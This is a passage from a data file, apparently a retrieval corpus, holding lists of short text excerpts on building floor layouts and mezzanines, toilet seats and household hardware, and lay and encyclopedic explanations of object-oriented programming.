there are also storage rooms, pantry and similar spaces for service. The mezzanine, which is built above the service spaces of the ground floor, functions as a floor used only in the winter with the", "mezzanines, both of which are beneath the tracks and platforms. The full-time one is at the south end and has a staircase and elevator from each platform going down to a waiting area/crossunder, where a turnstile bank provides access to and from the station. The Manhattan-bound platform also has a short, up-only escalator from the station house. Outside fare control, there is a token booth, one staircase and elevator going down to the southwest corner of Pelham Parkway's south service road and White Plains Road, and one up-escalator from the southeast corner of the same intersection. The three elevators make", "building. The mezzanine level, which provides a transition to the upper levels, was also added at that time.", "west side leading to the second level.\nThe interior stairways, starting in Rooms 6 and 10 \non the ground floor, wind up through all three levels, providing the only visible means \nof reaching the second level. At the second and third levels, these stairways open \ndirectly to the exterior, in contrast to the ground floor where it is necessary to pass \nthrough anterooms before gaining access to the stairways. \nThe organization of the rooms on the ground floor is unusual since all of the \nrooms, with the exception of the three central rooms on the west side, consist of \n\"suites\" of", "a basement. The plan of the main block is square, with the entrance in a recessed convex quadrant at the northeast corner. A service wing projects to the south. Six curved steps lead up to a curved eight-panel door with four-pane sidelights and a three-pane overlight. The door is surrounded by an Ionic doorcase. Above this, in the upper storey, is a twelve-pane sash window in an architrave, the bottom panel of which is inscribed with aa crown flanked by initials \"E\" and \"R\". Both storeys on the east and north sides contain three twelve-pane", "loaded from the street to the basement and vice versa.\nInternally the building contains five storeys, including a basement level, ground, first and second levels and an attic. The ground floor largely comprises the public bar. The first floor can be described as having two distinct \"halves\". The southern half of the floor comprises the restaurant seating area, extending from the western wall through to the eastern. The north eastern section, comprising part of the original \"L-shaped\" plan contains the main stair, a small store and male and female w/cs. The north western infill section contains the galley kitchen and bar,", "original building's main floor has vaulted ceilings, large windows, brick walls, a flat roof, and wooden cross beams. The mezzanine consists of three rooms. The second floor has large windows and vaulted ceilings, restrooms, and a lunchroom. Stairs and elevators connect the levels, including the basement and its boiler room. A lobby and office in the southwest corner of the main floor can be entered from inside or via the original main door off Southeast 10th Avenue.\nFollowing purchase in 2008, renovations began to convert the building into a contemporary arts center. Architects designed gallery spaces, a bookstore and cafe, a 100-seat", "the mezzanine. In total, this side of the station has four staircases in addition to the two closed ones mentioned, while the other side has five staircases.", "on the ground floor. Two-story rectangular openings above contain one group of windows on each floor.\nOn the interior, the basement contains a cable vault, a battery room and the heating plant. The first ad second floors contain the switching equipment, and the third floor contains operating rooms.", "\"half-basement.\" In the United Kingdom, this style of apartment is usually known as a \"garden flat\". The origin of the term \"English basement\" dates back to at least the mid-19th century. The earliest citation in the OED is 1853 (\"1853 N.Y. Daily Times 8 July 5/3 (advt.) House for sale... A new three-story English basement house.\"). Some people refer to it as the \"garden level\". Building codes in most cities use neither of the phrases, stating that any floor partly below grade-level is simply a \"basement\" and a floor more than 50% below grade-level is", "mezzanine to either southern corner of Burnside and Jerome Avenues (two to each corner). There are extra side exits from the wooden mezzanine near the stairs to the platform, and the station is three to four stories above street level.", "third floor let in additional light from within. A cast iron spiral staircase provides access to the mezzanine, which has an iron railing, tiled floor and painted walls and ceilings.\nUpstairs, a single open space was later partitioned into classrooms. They all have gypsum walls and modern dropped ceilings. All rooms have solid metal doors; some have closets with wood and glass doors. Metal staircases on either end of the section provide access to the roof.\nWithin the block are two sets of staircases connecting the basement to the third floor. They are primarily metal, but with an additional wooden handrail. An", "narrow corner boards at the building corners, rising to a broad entablature that extends to the sides. The interior of the main floor has an entrance vestibule, cloakroom, and a small kitchen at the front, with the main hall taking up most of the rear. It has a stage at the far end, and has hardwood flooring and wainscoting, with the upper walls and ceiling finished in pressed tin. The downstairs has the dining room, a larger kitchen, and restrooms. Access to the lower level is gained by either stairs beside the stage, or via a secondary entrance on the", "In this situation, the lower level is called Lower Ground, the main floor is called Upper Ground, and floors above it are numbered serially from 1. There may also be a storage floor called \"Cellar\" below Lower Ground.\nSometimes, floor number 1 may be the lowest basement level; in that case the ground floor may be numbered 2 or higher. Sometimes two connected buildings (such as a store and its car park) have incongruent floor numberings, due to sloping terrain or different ceiling heights. To avoid this, shopping centres may call the main floors by names such as Upper Mall, Lower", "is buy-to-let, owner may occupy the flats or let to tenants. East and West Wings have connections on each floor inside the building, but locked fire doors prevent access to different wings. The floor to floor height of the retail floors will be 4.5 metres (15 ft), whilst this is reduced to 3.75 metres (12 ft) on the office floors and further reduced to 3 metres (10 ft) on the residential and hotel floors.\nThe exterior of the cube is being clad in glazed and gold colour anodised aluminium panels with structural silicone bonding to the mullions. There are a total of over", "ground floor is a doorway with a triangular pediment, above is a curved Venetian window with Ionic capitals.", "goes up to the second floor. The lower flight's staircase is over the basement stairs, which open to the carport. The upper flight's staircase space is used and concealed by cedar closets facing the living room. The stairs go to the mezzanine's dining loft. Against the second-story's barrier wall (to the right of the patent drawing), a galley kitchen faces the dining area in the mezzanine,\nA portion of the mezzanine's ceiling is contiguous with the living room ceiling, but half of the mezzanine has a ceiling a couple of feet (2/3m) higher. This clerestory line joins to", "building entryways are gabled with large arches below. The arches contain a double window topped by a semicircular fanlight. The entrance is through a set of carved double doors.\nIn the interior, the layout is cruciform in shape. The first floor has a floor made of tiles laid in geometric patterns. Two grand staircases lead to the second floor, located on each side of the center hallway.", "English basement Realty English basements are often rented out separately from the main dwelling, either by a single landlord who owns both portions of the building or by a tenant of the building who sub-lets the English basement. English basements are most common in larger, older cities like London, New York City, Boston, and Washington, D.C.. Phrase In other cities, such as Chicago and San Francisco, this space is referred to as a \"garden apartment\". The phrase \"English basement\" is mostly an Americanism. In Québec, in both English and French, this space is known as a \"demi sous-sol,\" literally a", "basement floor. A large bay window and a conical-roof round tower rise above the roofline on what was the track side. The street side has a low arched entrance with a massive gable above containing a balcony-fronted, tripartite, transomed window. A hip roof canopy supported by round columns covers the platforms at each end, and runs across part of the main building facade.\nThe interior contains outer and inner lobbies, a ticket/telegraph office, a waiting room, two lavatories, and a large freight and baggage room. The interior is entirely finished with hardwoods. The walls are covered with vertical beaded-board dados up", "of thick rough masonry. The corners are usually of ashlars with re-enclosure at all the spans. The entrance is through a gate of one or two arcs, sufficient to allow passage of a cart into an entryway, leading to the kitchen (although in some houses the kitchen is on the upper level), stables, wine cellar, pantry and stairs to the upper floor. In some areas, there are passageways to enter the upper floor from the outside.\nThe upper floor contains the bedrooms, two of which face the balcony. The interior walls originally are usually made of wood, although in recent times", "The ground floor is an open arcade of three segmented arches more typical of Renaissance Dutch and English market halls. The upper floor however, is in the highest Palladian tradition, as exemplified by Inigo Jones in his Banqueting House at Whitehall, the windows alternating with segmental and pointed pediments. The whole of the facade is surmounted by a uniting pediment, with a circular window at its centre. The design of the facade seems incomplete, as though flanking wings are missing. The provincial design of the building is again emphasised by the placement of three covered urns on the pediment redolent", "control areas at each end, which is clear from the presence of two closed staircases at the Manhattan-bound side. The mezzanine narrows to about two-thirds of its width on the southern side of the mezzanine directly to the opposite of the closed staircases. The narrowing of the mezzanine did not allow for staircases on the Queens-bound side in this location like on the Manhattan-bound side. Chain-link fence is used to separate the areas inside and outside fare control. The Manhattan- and Queens-bound paid areas are separated by at this location by the unpaid area, which runs down the center of", "18th century. The mezzanine usually served as offices for the house’s owner and contained its own separate entrance. The entrance of the mezzanine had large booths. The flat areas of the facade are more simply decorated but there are gargoyles. The main entrance is decorated with sculpted plants, chain links, volutes, mollusk shells and small grotesque masks. The patio arches have pyramidal decorations.\nHowever, it is what is inside the house that is its most distinguishing feature. Inside, on the second floor, are tile murals made in Mexico City with life-sized images of servants such as butlers, washwomen, and cobblers. Murals", "Another staircase then goes down to the street. The Coney Island-bound side is exit-only while the Manhattan-bound side is HEET turnstile access. The mezzanine, now used as a station facility, once had a booth.", "more than the others. At the front the basement and ground floors are styled with continuous rustication, which can be seen as a painted brick effect. The ground and first floors are separated by a continuous concrete band. From the first floor upwards the walls are stuccoed with embedded pillars separating each building topped with a square capital. The pillars support the coped parapet roof. In front of the entrance to each doorway is a flight of stone steps, with wrought iron railings. The doorways of 13–18 are recessed slightly and have semi-circular arched tops, which are filled with decorated" ]

[ "Metal in the environment* of a toilet doesn't tend to last terribly well - fasteners become seized or corrode, meaning that it's impossible to remove them at a later date. Plastic doesn't suffer from that.\n\n^* ^For ^'environment' ^read ^'soaked ^in ^urine'" ]

[ "to provide a chair in the toilet room. Some people also close the lid to prevent the spread of aerosols on flushing (\"toilet plume\"). Variations Toilet seats are manufactured in a range of different styles and colors, and they may be furnished matching the style of the toilet itself. They are usually built to fit the shape of the toilet bowl: two examples of this being the elongated bowl and the regular bowl. Some toilet seats are fitted with slow-closing hinges to reduce noise by preventing them from slamming against the bowl.\nSome seats are made of various types of wooden", "must be intact (i.e.: dash). Roll cages (must have padding around bars) and carpet removal is allowed. Bucket seats must measure 420 mm from left to right bank but can not be over 450 mm from left exterior side to right exterior side (total width of seat). Aftermarket seats made of fiber-reinforced plastic are not allowed. Any holes or rips in seats must either be taped or repaired. Older vehicles As vehicles get older, maintaining them to the required standards can become expensive. Most Japanese do not get involved in mechanical repairs, and as a result, mechanics can charge high prices. Vehicles", "of the car – this faux pas was avoided on most other models. Seats and thin fenders were diecast metal on R.A.M.I. models, which is a bit rare as many diecast manufacturers of early brass era vehicles (like French Minialuxe) often use plastic. Plastic is easier to work with for 'spidery' parts such as wheel spokes, thin fenders, steering tillers, and long gearshift and brake levers (Sinclair 1979, p. 391). Occasionally, a dab of glue can be spied at the base of a lever or a tiller (Rixon 2005, p. 72). RAMI tops, even those purportedly of cloth were diecast in metal", "the one pictured on the side, uses a sliding post with spring pressure that is often changeable by adjusting a threaded insert in the bottom of the post to adjust the preload on the spring. All piston style seatposts move in a down and forward motion at the slope the seat tube. Because of the need for these parts to slide up and down, all piston style suspension seatposts suffer from at least a slight rotation around the axis of the post resulting in a seat that can wiggle side to side slightly. Piston style seatposts with springs that are", "toilet seats (also called \"split seats\").\nThe purpose for this seat design is to prevent genitals contacting the seat. It also omits an area of the seat that could be contaminated with urine, and avoids contact for easier wiping. Slow-close A slow-close seat uses special hinges to prevent the seat from slamming down. Special hinges provide resistance, allowing the seat to lower slowly. Warming High-tech toilet seats may include many features, including a heated seat, a bidet, and a blow drier. High-tech seats are most common in Japan, where a seat with integrated bidets is colloquially called a Washlet, after a", "outer panels, which were made in sections and held in place at the bottom with two dowels and locks, which operated with a button at either side of each panel. These panels had rubber casings to prevent rattle and jar and make them perfectly tight. When the box car became an \nopen one by removing the panels, the seats were turned over so as to face outward, while extending lengthwise as in a closed car. This left space for the conductor to pass through \nfor collections.\nThe panels could be quickly removed, and could be painted when not in use in", "floor tracks during turbulence or accidents. The backs of seats are often equipped with a fold-down tray for eating, writing, or as a place to set up a portable computer, or a music or video player. Seats without another row of seats in front of them have a tray that is either folded into the armrest or that clips into brackets on the underside of the armrests. However, seats in premium cabins generally have trays in the armrests or clip-on trays, regardless of whether there is another row of seats in front of them. Seatbacks now often feature small colour", "down is like that of a scissor jack. Rack-and-pinion elevator Rack-and-pinion elevator are powered by a motor driving a pinion gear. Because they can be installed on a building or structure's exterior and there is no machine room or hoistway required, they are the most used type of elevator for buildings under construction (to move materials and tools up and down). Material handling belts and belt elevators Material transport elevators generally consist of an inclined plane on which a conveyor belt runs. The conveyor often includes partitions to ensure that the material moves forward. These elevators are often used in", "that work only with buckets and attachments designed to suit that quick coupler (known as \"dedicated\"). The claimed advantage of pin-grabbers is flexibility in use in that a machine owner can use a variety of buckets and attachments without changing the quick coupler or buying an adaptor. The claimed advantages of dedicated couplers depend on their individual design but often include better performance and smaller size. Safety issues Fatalities have occurred due to buckets being accidentally released from work equipment during operation. Released buckets have hit bystanders causing fatal injuries. These have been reported in most detail in the UK,", "front seat occupants. To further simplify construction, the hinges for the doors and boot lid were mounted externally. This also saved a small amount of cabin space. It also made the ADO15 very easy to assemble from complete knock-down kits in overseas markets with only basic industry. Cars could be assembled with minimal use of jigs as the external seams made the panels largely 'self-aligning'. They also allowed panels to be stacked flat on top of one other for easy shipping. As originally built, all the structural body panels were welded to the top of the single floor pressing, but", "- that's really what it's designed for. The old wooden twin-screw design isn't suited for this task because there is no facility for holding the offside jaw open. Construction materials Most workbenches are made from solid wood; the most expensive and desirable are made of solid hardwood. Benches may also be made from plywood and Masonite or hardboard, and bases of treated pine and even steel. There are trade offs with the choice of construction material. Solid wood has many advantages including strength, workability, appearance. A plywood or hardboard bench top has the advantage of being stable, relatively inexpensive, and", "carpet on top of it to hide the spare tire and provide a pleasant look to and a flat surface for the trunk space.\nOther storage locations include a cradle underneath the rear of the vehicle. This cradle is usually secured by a bolt that is accessible from inside the trunk, for security. This arrangement has advantages over storing the tire inside the trunk, including not having to empty the contents of the trunk to access the wheel and this arrangement may also save space in some applications. However it has disadvantages because that tire gets dirty, making the act of", "particularly, the housing is usually a hollow plastic box with the bottom/back open, filled (around the contained electronic components) with a hard translucent epoxy material from which the leads emerge. Others, such as DIP switches, are composed of two (or more) plastic housing parts snapped, welded, or glued together around a set of contacts and tiny mechanical parts, with the leads emerging through molded-in holes or notches in the plastic. Single in-line A single in-line (pin) package (SIP or SIPP) has one row of connecting pins. It is not as popular as the DIP, but has been used for packaging", "the open side of the carriages, so that children standing on the seats could not fall out. As a conclusion of a risk assessment, a stiffening aluminium rod was to be installed at the top of the vinyl doors of the carriages.", "re-positioning— marketed as Easy-Out Roller Seats. When installed, the seats are latched to floor-mounted strikers. When unlatched, eight rollers lift each seat, allowing it to be rolled fore and aft. Tracks have locator depressions for rollers, thus enabling simple installation. Ergonomic levers at the seatbacks release the floor latches single-handedly without tools and raise the seats onto the rollers in a single motion. Additionally, seatbacks were designed to fold forward. Seat roller tracks are permanently attached to the floor and seat stanchions are aligned, fascillitating the longitiudinal rolling of the seats. Bench seat stanchions were moved inboard to reduce", "and soft plastic.\nT-nuts, insert nuts, and barrel bolts are often used in ready-to-assemble furniture as inserts between metal bolts and wood.", "be used on a roll pin. Because of the hollow, thin wall construction of a roll pin, a standard pin punch will often collapse, mar or distort the end of the pin or be driven into, and jammed inside, the hollow core of the roll pin. When choosing a roll pin punch, select one that is no larger than the compressed diameter of the pin. If a punch is used that is larger than the pin,the surrounding metal in which the pin is seated can be damaged. Also, a roll pin punch should not be used which is smaller than", "one-piece flat springs of metal or plastic, such as are used to keep blow molded plastic power tool cases closed, to multi-point cammed latches used to keep large doors closed. Deadbolt latch A single-throw bolt. The bolt can be engaged in its strike plate only after the door is closed. The locking mechanism typically prevents the bolt from being retracted by force. Slam latch A slam latch uses a spring and is activated by the shutting or slamming of a door. Like all latches, a slam latch is a mechanism to hold a door closed. The slam latch derives its", "Toilet seat A toilet seat is a hinged unit consisting of a round or oval open seat, and usually a lid, which is bolted onto the bowl of a toilet used in a sitting position (as opposed to a squat toilet). The seat can be either for a flush toilet or a dry toilet. A toilet seat consists of the seat itself, which may be contoured forum the user to sit on, and the lid, which covers the toilet when it is not in use – the lid may be absent in some cases, particularly in public restrooms. Usage", "the trademark RIVNUT®. It was first used to mount rubber de-icing boots to aircraft wings. Usage In the field of aviation, rivet nuts are often used to attach various items, such as static dischargers and inspection access covers, to the surface of an aircraft. Rivet nuts are an ideal replacement for weld nuts because they will not distort base materials, eliminate weld splatter, toxic fumes, and other by-products of the welding process, and can be installed in many different kinds of material including steel, plastic, composites, and fiberglass.", "a \"seat post clamp\" may be purchased separately (but must be sized to closely fit the diameter of the seat tube). Whether integrated or separate, the seat post bolt can have a simple nut, can be an Allen bolt, or can include a quick-release mechanism, with a handle that releases the clamp without tools. A quick-release allows easy height adjustment of the seat, though increases the risk of seat theft unless it is also used to detach the seat when parking. Sizes The size of the seatpost is dependent upon the internal dimensions of the seat tube of", "Dodge introduced a system of seats to simplify installation, removal, and re-positioning, marketed as Easy-Out Roller Seats. When installed, the seats are latched to floor-mounted strikers. When unlatched, eight rollers lift each seat, allowing it to be rolled fore and aft. Tracks have locator depressions for rollers, to simplify installation. Ergonomic levers at the seat backs release the floor latches single-handedly, without tools, and raise the seats onto the rollers in a single motion. Additionally, seat backs were designed to fold forward. Seat roller tracks are permanently attached to the floor and seat stanchions are aligned, facilitating the longitudinal rolling", "Squeaky hinge Squeaky hinges produce a squeaking or rasping noise when they are moved.\nSounds can differ when opened or closed.\nLubrication fixes this. Suitable lubricants include plumber's grease and silicone spray. Oil is not so suitable as it can drip off when in excess. Graphite is also unsuitable as it spreads to other surfaces and makes a mess. To give complete coverage of lubricant, the hinge pin is removed to be covered in the lubricant, and then reinserted. Oiling a squeaky hinge is considered a masculine behaviour.\nSome hinges are designed not to squeak.\nChinese hinges may be designed to make a", "passage to and from their seats, so it gets damaged more easily. In some tournaments an L-shaped metal bracket is slid under the tabletop corners, leaving its other end standing up. This is inserted into a slit in a free-standing bidding box, which then functions like a clamped one. Another alternative is to use side tables, so that bidding boxes as well as refreshments and other belongings can be kept off the playing table. For storage purposes, the boxes usually have either a covered compartment at the bottom to store the bidding cards or a cover which is placed over", "few are implemented due to sensitivity to shock and vibration, causing false tripping. However, devices resistant to shock and vibration do exist. Automotive uses Automobile manufacturers once used mercury switches for lighting controls (for example, trunk lid lights), ride control, and anti-lock braking systems. Scrapped automobiles can leak mercury to the environment if these switches are not properly removed. Since 2003, new American-built cars no longer use mercury switches. Fall alarms Work performed in confined space (such as a welder inside a tank) raises special safety concerns. Tilt switches sound an alarm if a worker falls over. Aircraft attitude indicators/artificial", "axis of rotation, the wedges are forced into the material to be separated. The resulting cut in the material is in the direction of rotation of the drill bit while the helical shape of a bit allows the removal of the cut material. Examples for holding fast Wedges can also be used to hold objects in place, such as engine parts (poppet valves), bicycle parts (stems and eccentric bottom brackets), and doors. A wedge-type door stop (door wedge) functions largely because of the friction generated between the bottom of the door and the wedge, and the wedge and the floor", "solder joint apart.\nThe advent of pull tabs in beverage cans spread to the canning of various food products, such as pet food or nuts (and non-food products such as motor oil and tennis balls). The ends are known as easy open lids because they open without any tools or implements. An additional innovation developed for specifically for food cans uses a tab that is bent slightly upwards, creating a larger surface area for easier finger access.\nCans can be made with easy open features. Some cans have screw caps for pouring liquids and resealing. Some have hinged covers or slip-on", "the tabs which held the limbs on the bodies were made from an unreliable plastic and, thus, were prone to breakage. Other bodies, however, focused on character-specific features and, while retaining the removable limbs (each would pull off at the midpoint), the button would activate some other feature (i.e. Daryl's spinning head, Spare Tire's \"bug-out\" eyes, ears, and tongue).\nA set of vehicles was also released which could then be used to simulate the car crashes as seen in the ads of the original crash test dummies. Among others, these vehicles include cars, jeeps, motorcycles and even aeroplanes. Each toy can", "was the battery box that supplied power to the rails. The configuration of the interior of the box lid resembled a small upturned plastic stool. When one twisted the directional control atop the battery box, the \"stool\" inside turned and made the contacts touch. After repeated use, the \"legs\" of the stool broke off, and the box was useless. When designing the Girder and Panel Skyrail sets, the engineer at Kenner carved the rails out of wood. His statement that the curves were nearly impossible to create so the cars wouldn't hang up on them, demonstrates that this was mostly", "wheels inward toward the body to simulate how wide the new cars were (Doty 1999b, p. 87).\nSeats were often, but not always, part of the single bucket of the interior whereas they were usually separate parts in kits. Many promotional models have survived intact for decades, whereas assembled kits tend to fall apart as the plastic cement deteriorates and small parts fall off, unless they were \"solvent welded\" with acetone or some other specific solvent for ABS. What was really fun was, AMT's common molding of sales specifications into the chassis, especially on Ford cars. The promo 1962 Ford Galaxie," ]

[ "OO is just one way of designing and imagining the operation of a program. \n\nThink of a web app, like Reddit. You can login, look at posts, rate posts, comment on posts, comment on comments, get messages, send messages, ... \n\nNow, in OO, the User, the Post, the Rating, the Comment, the Message, and other items are treated as Objects.\n\nWhen it comes to storage, we know just what to do with all of that stuff. A message gets stored in a database for messages, posts go in a database for posts, users in users, .... \n\nThere are events, like click (e.g. voting on a post). The event is a web request, and in the web request are the details about the object you are manipulating or requesting.\n\nThe main ideas are inheritance (a post, a message, and a rating all have at least some base level of similar behaviors, so they can inherit certain behaviors from each other), polymorphism (you don't really know what kind of object you are dealing with at the moment, but you can call the same method name on all of them, and each one knows how to do what it needs to do), encapsulation (hiding or presenting certain behaviors so certain aspects of an object's design are not accessible everywhere), and abstraction (which sort of goes along with inheritance too, an abstract class is a template for other classes, but cannot be used directly).", "It's a way to encapsulate data and functionality into an 'object'. \n \n Car myCar = new Car();\n myCar.speed = 100;\n myCar.Move();\n\nEach car's Move() function would be based upon its own data like speed and weight and so forth. Usually you create a sort of 'skeleton' for these objects in something known as a class.", "Object oriented programming is basically a way to organize information and do useful things with it. Some of the key features are a structured hierarchy and reusing things whenever possible.\n\nFor example, we can make a class of objects called 'vehicles' all vehicles have certain properties like 'miles traveled', 'year', or 'maximum speed'. All vehicles can perform certain actions like 'check mileage' or 'turn left'. We can also make sub-classes within the vehicle class such as 'car' or 'motorcycle'. In this case, a car object could contain information such as 'number of wheels equals four' while a motorcycle object could contain 'number of wheels equals two'. Both cars and motorcycles (and all other vehicles) automatically have the actions of turning left and braking built in from the vehicle class (called the 'parent class').\n\nYou could make as many different classes as you wanted such as 'truck', 'bicycle', 'tricycle', 'van', or 'bus'. And create as many sub-sub-classes as needed too like 'Ford truck', 'Schwinn bicycle' and so on. The key thing here is that each new class pulls down relevant characteristics or actions from its parent class making things much faster and organized.\n\nOnce you set up these classes, you can easily create as many instances of a car or motorcycle or anything else. You can than also easily package many of these instances of objects into a single group and do things with them. Continuing with the vehicle analogy, imagine a parking garage filled with vehicles. There can be any combination of different types of cars or trucks or motorcycles you can imagine. There could be five different Toyota Corollas, each is represented by a separate instance of an object. You can then do things like 'check the mileage on the vehicle in parking space G-6', or 'wash windows of all vehicles in garage', or 'put parking ticket on any vehicle that has been parked more than one hour'.", "Think of a basic script of code as a set of instructions. An class is like a blueprint for creating subscripts that have their own individual groupings of data and functions. Things that get made with those blueprints are objects (of that class). That's the basics of it. It comes with a slew of more advanced techniques (like inheritance and polymorphism and etc) but that's the basic idea.\n\nImagine for example you wanted to create a program that keeps an inventory of something. I dunno, for example, items in a store with item name, item price, and amount of it in stock. With hundreds of items it could be very complicated creating all those variables and remembering how to match em up. With objects, you can create a class that has those variables within it. So you can just call it by Item12.price, Item28.price, or whatever instead of needing a complicated naming scheme to help you remember. Throw in that all items have similar functions (but specific to them), like for example, a \"sell\" function you'd call like Item12.sell(2) and it'd automatically remove 2 of the stock count in Item12.\n\nWithout objects you'd need a more complicated script. A sell function might have to be more like sell(item_id, 2), which would have to use the id to track down the right variable containing that item's stock number. This isn't all that more complicated to be fair, but I picked a simple example. As programs get more complex it becomes even more complicated without objects to help clean/simplify stuff.", "Type of programming. One of the main features of OOP is working with part of the programm. But not affecting the whole code with unexpected bugs etc..\n\nYou can imagine it as a boxes (classes). Which inherits theirs child boxes (classes) abilities.\n\nImagine you have a plane. That is one box. Inside you have engines (box), wings (box), wheels (box), seats (box) ....\n\nThe plane has ability to fly, but engines alone wont. You can sit in the plane, but seets alone cant fly or drive etc...\n\nThose are essentials in layman terms." ]

[ "Object-oriented design Object-oriented design is the process of planning a system of interacting objects for the purpose of solving a software problem. It is one approach to software design. Overview An object contains encapsulated data and procedures grouped together to represent an entity. The 'object interface' defines how the object can be interacted with. An object-oriented program is described by the interaction of these objects. Object-oriented design is the discipline of defining the objects and their interactions to solve a problem that was identified and documented during object-oriented analysis.\nWhat follows is a description of the class-based subset of object-oriented design,", "Object-oriented programming Features Object-oriented programming uses objects, but not all of the associated techniques and structures are supported directly in languages that claim to support OOP. The features listed below are common among languages considered to be strongly class- and object-oriented (or multi-paradigm with OOP support), with notable exceptions mentioned. Class-based vs prototype-based In class-based languages the classes are defined beforehand and the objects are instantiated based on the classes. If two objects apple and orange are instantiated from the class Fruit, they are inherently fruits and it is guaranteed that you may handle them in the same way;", "as structured programming and abstract data types. An object is an abstract data type with the addition of polymorphism and inheritance.\nRather than structure programs as code and data, an object-oriented system integrates the two using the concept of an \"object\". An object has state (data) and behavior (code). Objects can correspond to things found in the real world. So for example, a graphics program will have objects such as circle, square, menu. An online shopping system will have objects such as shopping cart, customer, product. The shopping system will support behaviors such as place order, make payment, and offer discount.", "Visual Objects Visual Objects is an object-oriented computer programming language that is used to create computer programs that operate primarily under Windows. Although it can be used as a general-purpose programming tool, it is almost exclusively used to create database programs.\nThe original Visual Objects project (code-named Aspen) was started as part of Nantucket's attempts to bring the Clipper language to Windows, and move from the procedural to the object-oriented style. It also converted Clipper from a p-code system to being a true native compiler and introduced more elements of the C language (such as typed variables), while including Windows extensions", "the idea of object-oriented programming, which he named, along with some colleagues at PARC. Some of the original object-oriented concepts, including the use of the words 'object' and 'class', had been developed for Simula 67 at the Norwegian Computing Center. Later he said:\nI'm sorry that I long ago coined the term \"objects\" for this topic because it gets many people to focus on the lesser idea. The big idea is \"messaging\"\nWhile at PARC, Kay conceived the Dynabook concept, a key progenitor of laptop and tablet computers and the e-book. He is also the architect of the modern overlapping windowing", "Object (computer science) In computer science, an object can be a variable, a data structure, a function, or a method, and as such, is a value in memory referenced by an identifier.\nIn the class-based object-oriented programming paradigm, object refers to a particular instance of a class, where the object can be a combination of variables, functions, and data structures.\nIn relational database management, an object can be a table or column, or an association between data and a database entity (such as relating a person's age to a specific person). Object-based languages An important distinction in programming languages is the difference", "in the modern sense of object-oriented programming made its first appearance at MIT in the late 1950s and early 1960s. In the environment of the artificial intelligence group, as early as 1960, \"object\" could refer to identified items (LISP atoms) with properties (attributes);Alan Kay was later to cite a detailed understanding of LISP internals as a strong influence on his thinking in 1966.\nAnother early MIT example was Sketchpad created by Ivan Sutherland in 1960–61; in the glossary of the 1963 technical report based on his dissertation about Sketchpad, Sutherland defined notions of \"object\" and \"instance\" (with the class concept covered", "and functions with the same name. Object-oriented programming In many object-oriented programming languages, this (also called self or Me) is a variable that is used in instance methods to refer to the object on which they are working. C++ and languages which derive in style from it (such as Java, C#, D, and PHP) generally use this. Smalltalk and others, such as Object Pascal, Perl, Python, Ruby, Rust, Objective-C, DataFlex and Swift, use self. Microsoft's Visual Basic uses Me.\nThe concept is similar in all languages: this is usually an immutable reference or pointer which refers to the current object; the", "complex and primitive objects uniformly. In object-oriented programming, a composite is an object designed as a composition of one-or-more similar objects, all exhibiting similar functionality. This is known as a \"has-a\" relationship between objects. The key concept is that you can manipulate a single instance of the object just as you would manipulate a group of them. The operations you can perform on all the composite objects often have a least common denominator relationship. For example, if defining a system to portray grouped shapes on a screen, it would be useful to define resizing a group of shapes to have", "number of object-oriented languages (OOLs) there is the concept of an immutable object, which is particularly used for basic types like strings; notable examples include Java, JavaScript, Python, and C#. These languages vary in whether user-defined types can be marked as immutable, and may allow particular fields (attributes) of an object or type to be marked as immutable.\nIn some multiparadigm languages that allow both object-oriented and functional styles, both of these features may be combined. For example, in OCaml object fields are immutable by default and must be explicitly marked with the mutable keyword to be mutable, while in Scala", "modules are themselves objects, and statically allocated), have a subtle non-determinism in many languages: while their lifetime appears to coincide with the run time of the program, the order of creation and destruction – which static object is created first, which second, etc. – is generally nondeterministic.\nFor objects with automatic memory allocation or dynamic memory allocation, object creation generally happens deterministically, either explicitly when an object is explicitly created (such as via new in C++ or Java), or implicitly at the start of variable lifetime, particularly when the scope of an automatic variable is entered, such as at declaration. Object", "might hold an insurancesaleman object which is holding a briefcase object which contains the insurancepaperwork object.\nIn early versions of Inform, objects were different from the notion of objects from object-oriented programming, in that there was no such thing as a class. Later versions added support for class definitions and allowed objects to be members of classes. Objects and classes can inherit from multiple classes. Interactive fiction games typically contain many unique objects. Because of this, many objects in Inform do not inherit from any class, other than the \"metaclass\" Object. However, objects very frequently have attributes (boolean properties, such as", "Language-oriented programming Concept The concept of language-oriented programming takes the approach to capture requirements in the user's terms, and then to try to create an implementation language as isomorphic as possible to the user's descriptions, so that the mapping between requirements and implementation is as direct as possible. A measure of the closeness of this isomorphism is the \"redundancy\" of the language, defined as the number of editing operations needed to implement a stand-alone change in requirements. It is not assumed a-priori what is the best language for implementing the new language. Rather, the developer can choose among options created", "compiled).\nObject language in this context is synonymous with target language. The object language of a translation most often is a machine language, but can be some other kind of language, such as assembly language.\nBecause the object language of compilation has usually been machine language, the term object file has come to mean a file containing machine instructions, and sometimes the translated program itself is simply called an object.\nObject language should also not be confused with object-oriented language, which is a type of computer programming language which changes the programmer's environment into convenient objects which can be used in something", "Object point Object points are an approach used in software development effort estimation under some models such as COCOMO II.\nObject points are a way of estimating effort size, similar to Source Lines Of Code (SLOC) or Function Points. They are not necessarily related to objects in Object-oriented programming, the objects referred to include screens, reports, and modules of the language. The number of raw objects and complexity of each are estimated and a weighted total Object-Point count is then computed and used to base estimates of the effort needed.", "they may produce strongly typed code. Objects In object-oriented programming languages that do not support higher-order functions, objects can be an effective substitute. An object's methods act in essence like functions, and a method may accept objects as parameters and produce objects as return values. Objects often carry added run-time overhead compared to pure functions, however, and added boilerplate code for defining and instantiating an object and its method(s). Languages that permit stack-based (versus heap-based) objects or structs can provide more flexibility with this method.\nAn example of using a simple stack based record in Free Pascal with a function that", "Object-oriented user interface Relationship to object-oriented programming Although there are many conceptual parallels between OOUIs and object-oriented programming, it does not follow that an OOUI has to be implemented using an object-oriented programming language. \nThe guidelines for IBM's Common User Access (CUA), (possibly the most comprehensive attempt at defining a standard for OOUI design) stated that 'while object-oriented programming can facilitate the development of an object-oriented user interface, it is not a pre-requisite. An object-oriented user interface can be developed with more traditional programming languages and tools.'\n\nHowever, there are strong synergies. Larry Tesler, who left Xerox PARC in", "include planning the sequence in which components will be integrated, creating scaffolding to support interim versions of the software, determining the degree of testing and quality work performed on components before they are integrated, and determining points in the project at which interim versions of the software are tested. Object-oriented runtime issues Object-oriented languages support a series of runtime mechanisms that increase the flexibility and adaptability of the programs like data abstraction, encapsulation, modularity, inheritance, polymorphism, and reflection.\nData abstraction is the process by which data and programs are defined with a representation similar in form to its meaning, while hiding", "abstract classes (also known as abstract base classes), and concrete types as concrete classes. In generic programming, the analogous notion is a concept, which similarly specifies syntax and semantics, but does not require a 